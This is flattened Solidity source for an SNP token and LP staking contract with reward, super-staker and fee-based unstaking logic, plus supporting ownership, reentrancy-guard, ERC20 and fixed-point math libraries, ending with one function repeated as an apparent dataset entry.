address * @param _liquidity SNP/USDC LP token address * @param _vesting public vesting contract address */ function init( address _token, address _liquidity, address _vesting ) external onlyOwner { require(_token != address(0), "_token address cannot be 0"); require(_liquidity != address(0), "_liquidity address cannot be 0"); require(_vesting != address(0), "_vesting address cannot be 0"); require(tokenAddress == address(0), "Init already done"); tokenAddress = _token; liquidityAddress = _liquidity; vestingAddress = _vesting; } /** * @dev Updates the reward for a given address, * for token and LP pool, before executing function * @param _account address of staker for which rewards will be updated */ modifier updateRewards(address _account) { _updateReward(_account, false); _updateReward(_account, true); _; } /** * @dev Updates the reward for a given address, * for given pool, before executing function * @param _account address for which rewards will be updated * @param _lp true=lpStaking, false=tokenStaking */ modifier updateReward(address _account, bool _lp) { _updateReward(_account, _lp); _; } /** * @dev Updates the super rewards for a given address, * for token and LP pool, before executing function * @param _account address of super staker for which super rewards will be updated */ modifier updateSuperRewards(address _account) { bool success = _updateSuperReward(_account, false); success = _updateSuperReward(_account, true) || success; if (success) { _calculateSuperRewardAmount(); } _; } /** * @dev guards that the given address has selected stake * @param _account address to check * @param _lp true=lpStaking, false=tokenStaking */ modifier hasPoolStake(address _account, bool _lp) { bool accountHasStake = _lp ? (liquidityStake[_account].tokens > 0) : (tokenStake[_account].tokens > 0); require(accountHasStake, "Nothing staked"); _; } /** * @dev guards that the msg.sender has token or LP stake */ modifier hasStake() { require((liquidityStake[msg.sender].tokens > 0) || (tokenStake[msg.sender].tokens > 0), "Nothing staked"); _; } /** * @dev guards that the given address can be a super staker in selected stake * @param _account address to check * @param _lp true=lpStaking, false=tokenStaking */ modifier canBeSuper(address _account, bool _lp) { Stake memory s = _lp ? liquidityStake[_account] : tokenStake[_account]; require(!s.isWithdrawing, "Cannot when withdrawing"); require(!s.isSuperStaker, "Already super staker"); require(block.timestamp >= s.superStakerPossibleAt, "Too soon"); _; } /** * @dev checks if the msg.sender can withdraw requested unstake */ modifier canUnstake() { require(_canUnstake(), "Cannot unstake"); _; } /** * @dev checks if for the msg.sender there is possibility to * withdraw staked tokens without fee. */ modifier cantUnstake() { require(!_canUnstake(), "Unstake first"); _; } /*************************************** ACTIONS ****************************************/ /** * @dev Updates reward in selected pool * @param _account address for which rewards will be updated * @param _lp true=lpStaking, false=tokenStaking */ function _updateReward(address _account, bool _lp) internal { uint256 newRewardPerTokenStored = currentRewardPerTokenStored(_lp); // if statement protects against loss in initialization case if (newRewardPerTokenStored > 0) { StakingData storage sd = _lp ? lpStaking : tokenStaking; sd.rewardPerTokenStored = newRewardPerTokenStored; sd.lastUpdateTime = lastTimeRewardApplicable(); // setting of personal vars based on new globals if (_account != address(0)) { Stake storage s = _lp ? liquidityStake[_account] : tokenStake[_account]; if (!s.isWithdrawing) { s.rewards = _earned(_account, _lp); s.rewardPerTokenPaid = newRewardPerTokenStored; } } } } /** * @dev Updates super reward in selected pool * @param _account address of super staker for which super rewards will be updated * @param _lp true=lpStaking, false=tokenStaking */ function _updateSuperReward(address _account, bool _lp) internal returns (bool success) { Stake storage s = _lp ? liquidityStake[_account] : tokenStake[_account]; // save gas for non super stakers if (s.isSuperStaker || _account == address(0)) { uint256 newSuperRewardPerTokenStored = currentSuperRewardPerTokenStored(_lp); // if statement protects against loss in initialization case if (newSuperRewardPerTokenStored > 0) { StakingData storage sd = _lp ? lpStaking : tokenStaking; sd.superRewardPerTokenStored = newSuperRewardPerTokenStored; sd.lastSuperUpdateTime = lastTimeSuperRewardApplicable(); // setting of personal vars based on new globals if (_account != address(0)) { // setting of personal vars based on new globals if (!s.isWithdrawing) { s.rewards = _earnedSuper(_account, _lp); s.superRewardPerTokenPaid = newSuperRewardPerTokenStored; } } } success = true; } } /** * @dev Add tokens for staking from vesting contract * @param _account address that call claimAndStake in vesting * @param _amount number of tokens sent to contract */ function onClaimAndStake(address _account, uint256 _amount) external nonReentrant updateReward(_account, false) updateSuperRewards(_account) { require(msg.sender == vestingAddress, "Only vesting contract"); require(!tokenStake[_account].isWithdrawing, "Cannot when withdrawing"); require(_amount > 0, "Zero Amount"); Stake storage s = tokenStake[_account]; StakingData storage sd = tokenStaking; if (s.stakeStart == 0) { // new stake s.stakeStart = block.timestamp; s.superStakerPossibleAt = s.stakeStart + timeToSuper.value; } // update account stake data s.tokens += _amount; // update pool staking data sd.stakedTokens += _amount; if (s.isSuperStaker) { sd.stakedSuperTokens += _amount; } // update global data data.depositedTokens += _amount; emit StakeAdded(_account, _amount); } /** * @dev Add tokens to staking contract * @param _amount of tokens to stake */ function addTokenStake(uint256 _amount) external { _addStake(msg.sender, _amount, false); emit StakeAdded(msg.sender, _amount); } /** * @dev Add tokens to staking contract by using permit to set allowance * @param _amount of tokens to stake * @param _deadline of permit signature * @param _approveMax allowance for the token */ function addTokenStakeWithPermit( uint256 _amount, uint256 _deadline, bool _approveMax, uint8 v, bytes32 r, bytes32 s ) external { uint256 value = _approveMax ? type(uint256).max : _amount; IERC20(tokenAddress).permit(msg.sender, address(this), value, _deadline, v, r, s); _addStake(msg.sender, _amount, false); emit StakeAdded(msg.sender, _amount); } /** * @dev Add liquidity tokens to staking contract * @param _amount of LP tokens to stake */ function addLiquidityStake(uint256 _amount) external { _addStake(msg.sender, _amount, true); emit StakeLiquidityAdded(msg.sender, _amount); } /** * @dev Add liquidity tokens to staking contract * @param _amount of tokens to stake * @param _deadline of permit signature * @param _approveMax allowance for the token */ function addLiquidityStakeWithPermit( uint256 _amount, uint256 _deadline, bool _approveMax, uint8 v, bytes32 r, bytes32 s ) external { uint256 value = _approveMax ? type(uint256).max : _amount; IERC20(liquidityAddress).permit(msg.sender, address(this), value, _deadline, v, r, s); _addStake(msg.sender, _amount, true); emit StakeLiquidityAdded(msg.sender, _amount); } /** * @dev Internal add stake function * @param _account selected staked tokens are credited to this address * @param _amount of staked tokens * @param _lp true=LP token, false=SNP token */ function _addStake( address _account, uint256 _amount, bool _lp ) internal nonReentrant updateReward(_account, _lp) updateSuperRewards(_account) { require(_amount > 0, "Zero Amount"); Stake storage s = _lp ? liquidityStake[_account] : tokenStake[_account]; require(!s.isWithdrawing, "Cannot when withdrawing"); address token = _lp ? liquidityAddress : tokenAddress; // check for fee-on-transfer and proceed with received amount _amount = _transferFrom(token, msg.sender, _amount); if (s.stakeStart == 0) { // new stake s.stakeStart = block.timestamp; s.superStakerPossibleAt = s.stakeStart + timeToSuper.value; } StakingData storage sd = _lp ? lpStaking : tokenStaking; // update account stake data s.tokens += _amount; // update pool staking data sd.stakedTokens += _amount; if (s.isSuperStaker) { sd.stakedSuperTokens += _amount; } // update global data if (_lp) { data.depositedLiquidity += _amount; } else { data.depositedTokens += _amount; } } /** * @dev Restake earned tokens and add them to token stake (instead of claiming) * If have LP stake but not token stake - token stake will be created. */ function restake() external hasStake updateRewards(msg.sender) updateSuperRewards(msg.sender) { Stake storage ts = tokenStake[msg.sender]; Stake storage ls = liquidityStake[msg.sender]; require(!ts.isWithdrawing, "Cannot when withdrawing"); uint256 rewards = ts.rewards + ls.rewards; require(rewards > 0, "Nothing to restake"); delete ts.rewards; delete ls.rewards; if (ts.stakeStart == 0) { // new stake ts.stakeStart = block.timestamp; ts.superStakerPossibleAt = ts.stakeStart + timeToSuper.value; } // update account stake data ts.tokens += rewards; // update pool staking data tokenStaking.stakedTokens += rewards; if (ts.isSuperStaker) { tokenStaking.stakedSuperTokens += rewards; } data.totalRewardsClaimed += rewards; data.depositedTokens += rewards; emit Claimed(msg.sender, rewards); emit StakeAdded(msg.sender, rewards); } /** * @dev Claims rewards for the msg.sender. */ function claim() external { _claim(msg.sender, msg.sender); } /** * @dev Claim msg.sender rewards to provided address * @param _recipient address where claimed tokens should be sent */ function claimTo(address _recipient) external { _claim(msg.sender, _recipient); } /** * @dev Internal claim function. First updates rewards in normal and super pools * and then transfers. * @param _account claim rewards for this address * @param _recipient claimed tokens are sent to this address */ function _claim(address _account, address _recipient) internal nonReentrant hasStake updateRewards(_account) updateSuperRewards(_account) { uint256 rewards = tokenStake[_account].rewards + liquidityStake[_account].rewards; require(rewards > 0, "Nothing to claim"); delete tokenStake[_account].rewards; delete liquidityStake[_account].rewards; data.totalRewardsClaimed += rewards; _transfer(tokenAddress, _recipient, rewards); emit Claimed(_account, rewards); } /** * @dev Request unstake for deposited tokens. Marks user token stake as withdrawing, * and start withdrawing period. */ function requestUnstake() external { _requestUnstake(msg.sender, false); emit StakeRemoveRequested(msg.sender); } /** * @dev Request unstake for deposited LP tokens. Marks user lp stake as withdrawing * and start withdrawing period. */ function requestUnstakeLp() external { _requestUnstake(msg.sender, true); emit StakeLiquidityRemoveRequested(msg.sender); } /** * @dev Internal request unstake function. Update normal and super rewards for the user first. * @param _account User address * @param _lp true=it is LP stake */ function _requestUnstake(address _account, bool _lp) internal hasPoolStake(_account, _lp) updateReward(_account, _lp) updateSuperRewards(_account) { Stake storage s = _lp ? liquidityStake[_account] : tokenStake[_account]; require(!s.isWithdrawing, "Cannot when withdrawing"); StakingData storage sd = _lp ? lpStaking : tokenStaking; // update account stake data s.isWithdrawing = true; s.withdrawalPossibleAt = block.timestamp + timeToUnstake.value; // update pool staking data sd.stakedTokens -= s.tokens; if (s.isSuperStaker) { delete s.isSuperStaker; sd.stakedSuperTokens -= s.tokens; } } /** * @dev Withdraw stake for msg.sender from both stakes (if possible) */ function unstake() external nonReentrant hasStake canUnstake { bool success; uint256 reward; uint256 tokens; uint256 rewards; (reward, success) = _unstake(msg.sender, false); rewards += reward; if (success) { tokens += tokenStake[msg.sender].tokens; data.depositedTokens -= tokenStake[msg.sender].tokens; emit StakeRemoved(msg.sender, tokenStake[msg.sender].tokens); delete tokenStake[msg.sender]; } (reward, success) = _unstake(msg.sender, true); rewards += reward; if (success) { delete liquidityStake[msg.sender]; } if (tokens + rewards > 0) { _transfer(tokenAddress, msg.sender, tokens + rewards); if (rewards > 0) { emit Claimed(msg.sender, rewards); } } } /** * @dev Internal unstake function, withdraw staked LP tokens * @param _account address of account to transfer LP tokens * @param _lp true = LP stake * @return stake rewards amount * @return bool true if success */ function _unstake(address _account, bool _lp) internal returns (uint256, bool) { Stake memory s = _lp ? liquidityStake[_account] : tokenStake[_account]; if (!s.isWithdrawing) return (0, false); if (s.withdrawalPossibleAt > block.timestamp) return (0, false); data.totalRewardsClaimed += s.rewards; // only LP stake if (_lp && s.tokens > 0) { data.depositedLiquidity -= s.tokens; _transfer(liquidityAddress, _account, s.tokens); emit StakeLiquidityRemoved(_account, s.tokens); } return (s.rewards, true); } /** * @dev Unstake requested stake at any time accepting 10% penalty fee */ function unstakeWithFee() external nonReentrant hasStake cantUnstake { Stake memory ts = tokenStake[msg.sender]; Stake memory ls = liquidityStake[msg.sender]; uint256 tokens; uint256 rewards; if (ls.isWithdrawing) { uint256 lpTokens = _minusFee(ls.tokens); //remaining tokens remain on the contract rewards += ls.rewards; data.totalRewardsClaimed += ls.rewards; data.depositedLiquidity -= ls.tokens; emit StakeLiquidityRemoved(msg.sender, ls.tokens); if (lpTokens > 0) { _transfer(liquidityAddress, msg.sender, lpTokens); } delete liquidityStake[msg.sender]; } if (ts.isWithdrawing) { tokens = _minusFee(ts.tokens); // remaining tokens goes to Super Stakers rewards += ts.rewards; data.totalRewardsClaimed += ts.rewards; data.depositedTokens -= ts.tokens; emit StakeRemoved(msg.sender, ts.tokens); delete tokenStake[msg.sender]; } if (tokens + rewards > 0) { _transfer(tokenAddress, msg.sender, tokens + rewards); if (rewards > 0) { emit Claimed(msg.sender, rewards); } } } /** * @dev Set Super Staker status for token pool stake if possible. */ function setSuperToken() external { _setSuper(msg.sender, false); } /** * @dev Set Super Staker status for LP pool stake if possible. */ function setSuperLp() external { _setSuper(msg.sender, true); } /** * @dev Set Super Staker status if possible for selected pool. * Update super reward pools. * @param _account address of account to set super * @param _lp true=LP stake super staker, false=token stake super staker */ function _setSuper(address _account, bool _lp) internal hasPoolStake(_account, _lp) canBeSuper(_account, _lp) updateSuperRewards(address(0)) { Stake storage s = _lp ? liquidityStake[_account] : tokenStake[_account]; StakingData storage sd = _lp ? lpStaking : tokenStaking; sd.stakedSuperTokens += s.tokens; s.isSuperStaker = true; s.superRewardPerTokenPaid = sd.superRewardPerTokenStored; } /*************************************** GETTERS ****************************************/ /** * @dev Gets the last applicable timestamp for this reward period */ function lastTimeRewardApplicable() public view returns (uint256) { return StableMath.min(block.timestamp, periodFinish); } /** * @dev Gets the last applicable timestamp for this super reward period */ function lastTimeSuperRewardApplicable() public view returns (uint256) { return StableMath.min(block.timestamp, superPeriodFinish); } /** * @dev Calculates the amount of unclaimed rewards per token since last update, * and sums with stored to give the new cumulative reward per token * @param _lp true=lpStaking, false=tokenStaking * @return 'Reward' per staked token */ function currentRewardPerTokenStored(bool _lp) public view returns (uint256) { StakingData memory sd = _lp ? lpStaking : tokenStaking; uint256 stakedTokens = sd.stakedTokens; uint256 rewardPerTokenStored = sd.rewardPerTokenStored; // If there is no staked tokens, avoid div(0) if (stakedTokens == 0) { return (rewardPerTokenStored); } // new reward units to distribute = rewardRate * timeSinceLastUpdate uint256 timeDelta = lastTimeRewardApplicable() - sd.lastUpdateTime; uint256 rewardUnitsToDistribute = sd.rewardRate * timeDelta; // new reward units per token = (rewardUnitsToDistribute * 1e18) / stakedTokens uint256 unitsToDistributePerToken = rewardUnitsToDistribute.divPrecisely(stakedTokens); // return summed rate return (rewardPerTokenStored + unitsToDistributePerToken); } /** * @dev Calculates the amount of unclaimed super rewards per token since last update, * and sums with stored to give the new cumulative reward per token * @param _lp true=lpStaking, false=tokenStaking * @return 'Reward' per staked token */ function currentSuperRewardPerTokenStored(bool _lp) public view returns (uint256) { StakingData memory sd = _lp ? lpStaking : tokenStaking; uint256 stakedSuperTokens = sd.stakedSuperTokens; uint256 superRewardPerTokenStored = sd.superRewardPerTokenStored; // If there is no staked tokens, avoid div(0) if (stakedSuperTokens == 0) { return (superRewardPerTokenStored); } // new reward units to distribute = superRewardRate * timeSinceLastSuperUpdate uint256 timeDelta = lastTimeSuperRewardApplicable() - sd.lastSuperUpdateTime; uint256 rewardUnitsToDistribute = sd.superRewardRate * timeDelta; // new reward units per token = (rewardUnitsToDistribute * 1e18) / totalSuperTokens uint256 unitsToDistributePerToken = rewardUnitsToDistribute.divPrecisely(stakedSuperTokens); // return summed rate return (superRewardPerTokenStored + unitsToDistributePerToken); } /** * @dev Calculates the amount of unclaimed rewards a user has earned * @param _account user address * @param _lp true=liquidityStake, false=tokenStake * @return Total reward amount earned */ function _earned(address _account, bool _lp) internal view returns (uint256) { Stake memory s = _lp ? liquidityStake[_account] : tokenStake[_account]; if (s.isWithdrawing) return s.rewards; // current rate per token - rate user previously received uint256 rewardPerTokenStored = currentRewardPerTokenStored(_lp); uint256 userRewardDelta = rewardPerTokenStored - s.rewardPerTokenPaid; uint256 userNewReward = s.tokens.mulTruncate(userRewardDelta); // add to previous rewards return (s.rewards + userNewReward); } /** * @dev Calculates the amount of unclaimed super rewards a user has earned * @param _account user address * @param _lp true=liquidityStake, false=tokenStake * @return Total reward amount earned */ function _earnedSuper(address _account, bool _lp) internal view returns (uint256) { Stake memory s = _lp ? liquidityStake[_account] : tokenStake[_account]; if (!s.isSuperStaker || s.isWithdrawing) return s.rewards; // current rate per token - rate user previously received uint256 superRewardPerTokenStored = currentSuperRewardPerTokenStored(_lp); uint256 superRewardDelta = superRewardPerTokenStored - s.superRewardPerTokenPaid; uint256 userNewSuperReward = s.tokens.mulTruncate(superRewardDelta); // add to previous rewards return (s.rewards + userNewSuperReward); } /** * @dev Calculates the claimable amounts for token and lp stake from normal and super rewards * @param _account user address * @return token - claimable reward amount for token stake * @return lp - claimable reward amount for lp stake */ function claimable(address _account) external view returns (uint256 token, uint256 lp) { token = _earned(_account, false) + _earnedSuper(_account, false) - tokenStake[_account].rewards; lp = _earned(_account, true) + _earnedSuper(_account, true) - liquidityStake[_account].rewards; } /** * @dev Check if staker can set super staker status on token or LP stake * @param _account address to check * @return token true if can set super staker on token stake * @return lp true if can set super staker on LP stake */ function canSetSuper(address _account) external view returns (bool token, bool lp) { Stake memory ts = tokenStake[_account]; Stake memory ls = liquidityStake[_account]; if (ts.tokens > 0 && block.timestamp >= ts.superStakerPossibleAt && !ts.isSuperStaker && !ts.isWithdrawing) token = true; if (ls.tokens > 0 && block.timestamp >= ls.superStakerPossibleAt && !ls.isSuperStaker && !ls.isWithdrawing) lp = true; } /** * @dev internal view to check if msg.sender can unstake * @return true if user requested unstake and time for unstake has passed */ function _canUnstake() private view returns (bool) { return (liquidityStake[msg.sender].isWithdrawing && block.timestamp >= liquidityStake[msg.sender].withdrawalPossibleAt) || (tokenStake[msg.sender].isWithdrawing && block.timestamp >= tokenStake[msg.sender].withdrawalPossibleAt); } /** * @dev external view to check if address can stake tokens * @return true if user can stake tokens */ function canStakeTokens(address _account) external view returns (bool) { return !tokenStake[_account].isWithdrawing; } /** * @dev external view to check if address can stake lp * @return true if user can stake lp */ function canStakeLp(address _account) external view returns (bool) { return !liquidityStake[_account].isWithdrawing; } /*************************************** REWARDER ****************************************/ /** * @dev Notifies the contract that new rewards have been added. * Calculates an updated rewardRate based on the rewards in period. * @param _reward Units of SNP token that have been added to the token pool * @param _lpReward Units of SNP token that have been added to the lp pool */ function notifyRewardAmount(uint256 _reward, uint256 _lpReward) external onlyRewardsDistributor updateRewards(address(0)) { uint256 currentTime = block.timestamp; // pull tokens require(_transferFrom(tokenAddress, msg.sender, _reward + _lpReward) == _reward + _lpReward, "Exclude Rewarder from fee"); // If previous period over, reset rewardRate if (currentTime >= periodFinish) { tokenStaking.rewardRate = _reward / WEEK; lpStaking.rewardRate = _lpReward / WEEK; } // If additional reward to existing period, calc sum else { uint256 remaining = periodFinish - currentTime; uint256 leftoverReward = remaining * tokenStaking.rewardRate; tokenStaking.rewardRate = (_reward + leftoverReward) / WEEK; uint256 leftoverLpReward = remaining * lpStaking.rewardRate; lpStaking.rewardRate = (_lpReward + leftoverLpReward) / WEEK; } tokenStaking.lastUpdateTime = currentTime; lpStaking.lastUpdateTime = currentTime; periodFinish = currentTime + WEEK; data.totalRewardsAdded += _reward + _lpReward; emit Recalculation(_reward, _lpReward); } /*************************************** SUPER STAKER ****************************************/ /** * @dev Notifies the contract that new super rewards have been added based on the collected fee. * Calculates an updated superRewardRate based on the rewards in period. * Function can be triggered by any super staker once a day. */ function _calculateSuperRewardAmount() internal { uint256 currentTime = block.timestamp; // Do nothing if less then a day from last calculation, save gas uint256 lastTime = superPeriodFinish > 0 ? superPeriodFinish - (MONTH - 1 days) : 0; if (currentTime >= lastTime) { uint256 contractBalance = _balance(tokenAddress, address(this)); uint256 feesCollected = contractBalance - data.depositedTokens - (data.totalRewardsAdded + data.totalRewardsFromFees - data.totalRewardsClaimed); data.totalRewardsFromFees += feesCollected; uint256 superRewards; unchecked { superRewards = feesCollected / 2; } // If previous period over, reset rewardRate if (currentTime >= superPeriodFinish) { tokenStaking.superRewardRate = superRewards / MONTH; lpStaking.superRewardRate = superRewards / MONTH; } // If additional reward to existing period, calc sum else { uint256 remaining = superPeriodFinish - currentTime; uint256 leftoverSuperReward = remaining * tokenStaking.superRewardRate; tokenStaking.superRewardRate = (superRewards + leftoverSuperReward) / MONTH; uint256 leftoverSuperLpReward = remaining * lpStaking.superRewardRate; lpStaking.superRewardRate = (superRewards + leftoverSuperLpReward) / MONTH; } tokenStaking.lastSuperUpdateTime = currentTime; lpStaking.lastSuperUpdateTime = currentTime; superPeriodFinish = currentTime + MONTH; emit SuperRecalculation(superRewards, superRewards); } } /*************************************** TOKEN ****************************************/ /** * @dev internal ERC20 tools */ function _balance(address token, address user) internal view returns (uint256) { return IERC20(token).balanceOf(user); } function _transferFrom( address token, address from, uint256 amount ) internal returns (uint256) { return IERC20(token).safeTransferFromDeluxe(from, amount); } function _transfer( address token, address to, uint256 amount ) internal { IERC20(token).safeTransfer(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; abstract contract OwnableData { address public owner; address public pendingOwner; } abstract contract Ownable is OwnableData { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev `owner` defaults to msg.sender on construction. */ constructor() { _setOwner(msg.sender); } /** * @dev Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner. * Can only be invoked by the current `owner`. * @param _newOwner Address of the new owner. * @param _direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`. */ function transferOwnership(address _newOwner, bool _direct) external onlyOwner { if (_direct) { require(_newOwner != address(0), "zero address"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; pendingOwner = address(0); } else { pendingOwner = _newOwner; } } /** * @dev Needs to be called by `pendingOwner` to claim ownership. */ function claimOwnership() external { address _pendingOwner = pendingOwner; require(msg.sender == _pendingOwner, "caller != pending owner"); emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } /** * @dev Throws if called by any account other than the Owner. */ modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; } function _setOwner(address newOwner) internal { address oldOwner = owner; owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import { Ownable } from "./Ownable.sol"; abstract contract RewardsDistributionData { address public rewardsDistributor; } abstract contract RewardsDistribution is Ownable, RewardsDistributionData { event RewardsDistributorChanged(address indexed previousDistributor, address indexed newDistributor); /** * @dev `rewardsDistributor` defaults to msg.sender on construction. */ constructor() { rewardsDistributor = msg.sender; emit RewardsDistributorChanged(address(0), msg.sender); } /** * @dev Throws if called by any account other than the Reward Distributor. */ modifier onlyRewardsDistributor() { require(msg.sender == rewardsDistributor, "caller is not reward distributor"); _; } /** * @dev Change the rewardsDistributor - only called by owner * @param _rewardsDistributor Address of the new distributor */ function setRewardsDistribution(address _rewardsDistributor) external onlyOwner { require(_rewardsDistributor != address(0), "zero address"); emit RewardsDistributorChanged(rewardsDistributor, _rewardsDistributor); rewardsDistributor = _rewardsDistributor; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); // EIP 2612 // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); function nonces(address owner) external view returns (uint256); function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import { IERC20 } from "../interfaces/IERC20.sol"; library SafeERC20 { function safeSymbol(IERC20 token) internal view returns (string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x95d89b41)); return success && data.length > 0 ? abi.decode(data, (string)) : "???"; } function safeName(IERC20 token) internal view returns (string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x06fdde03)); return success && data.length > 0 ? abi.decode(data, (string)) : "???"; } function safeDecimals(IERC20 token) internal view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x313ce567)); return success && data.length == 32 ? abi.decode(data, (uint8)) : 18; } function safeTransfer(IERC20 token, address to, uint256 amount) internal { // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "SafeERC20: Transfer failed"); } function safeTransferFrom(IERC20 token, address from, uint256 amount) internal { // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0x23b872dd, from, address(this), amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "SafeERC20: TransferFrom failed"); } function safeTransferFromDeluxe(IERC20 token, address from, uint256 amount) internal returns (uint256) { uint256 preBalance = token.balanceOf(address(this)); safeTransferFrom(token, from, amount); uint256 postBalance = token.balanceOf(address(this)); return postBalance - preBalance; } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; // Based on StableMath from mStable // https://github.com/mstable/mStable-contracts/blob/master/contracts/shared/StableMath.sol library StableMath { /** * @dev Scaling unit for use in specific calculations, * where 1 * 10**18, or 1e18 represents a unit '1' */ uint256 private constant FULL_SCALE = 1e18; /** * @dev Provides an interface to the scaling unit * @return Scaling unit (1e18 or 1 * 10**18) */ function getFullScale() internal pure returns (uint256) { return FULL_SCALE; } /** * @dev Scales a given integer to the power of the full scale. * @param x Simple uint256 to scale * @return Scaled value a to an exact number */ function scaleInteger(uint256 x) internal pure returns (uint256) { return x * FULL_SCALE; } /*************************************** PRECISE ARITHMETIC ****************************************/ /** * @dev Multiplies two precise units, and then truncates by the full scale * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @return Result after multiplying the two inputs and then dividing by the shared * scale unit */ function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) { return mulTruncateScale(x, y, FULL_SCALE); } /** * @dev Multiplies two precise units, and then truncates by the given scale. For example, * when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18 * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @param scale Scale unit * @return Result after multiplying the two inputs and then dividing by the shared * scale unit */ function mulTruncateScale( uint256 x, uint256 y, uint256 scale ) internal pure returns (uint256) { // e.g. assume scale = fullScale // z = 10e18 * 9e17 = 9e36 // return 9e36 / 1e18 = 9e18 return (x * y) / scale; } /** * @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @return Result after multiplying the two inputs and then dividing by the shared * scale unit, rounded up to the closest base unit. */ function mulTruncateCeil(uint256 x, uint256 y) internal pure returns (uint256) { // e.g. 8e17 * 17268172638 = 138145381104e17 uint256 scaled = x * y; // e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17 uint256 ceil = scaled + FULL_SCALE - 1; // e.g. 13814538111.399...e18 / 1e18 = 13814538111 return ceil / FULL_SCALE; } /** * @dev Precisely divides two units, by first scaling the left hand operand. Useful * for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17) * @param x Left hand input to division * @param y Right hand input to division * @return Result after multiplying the left operand by the scale, and * executing the division on the right hand input. */ function divPrecisely(uint256 x, uint256 y) internal pure returns (uint256) { // e.g. 8e18 * 1e18 = 8e36 // e.g. 8e36 / 10e18 = 8e17 return (x * FULL_SCALE) / y; } /*************************************** HELPERS ****************************************/ /** * @dev Calculates minimum of two numbers * @param x Left hand input * @param y Right hand input * @return Minimum of the two inputs */ function min(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? y : x; } /** * @dev Calculated maximum of two numbers * @param x Left hand input * @param y Right hand input * @return Maximum of the two inputs */ function max(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? x : y; } /** * @dev Clamps a value to an upper bound * @param x Left hand input * @param upperBound Maximum possible value to return * @return Input x clamped to a maximum value, upperBound */ function clamp(uint256 x, uint256 upperBound) internal pure returns (uint256) { return x > upperBound ? upperBound : x; } }
* @dev Add liquidity tokens to staking contract @param _amount of tokens to stake @param _deadline of permit signature @param _approveMax allowance for the token/
function addLiquidityStakeWithPermit( uint256 _amount, uint256 _deadline, bool _approveMax, uint8 v, bytes32 r, bytes32 s ) external { uint256 value = _approveMax ? type(uint256).max : _amount; IERC20(liquidityAddress).permit(msg.sender, address(this), value, _deadline, v, r, s); _addStake(msg.sender, _amount, true); emit StakeLiquidityAdded(msg.sender, _amount); }
10,143,516
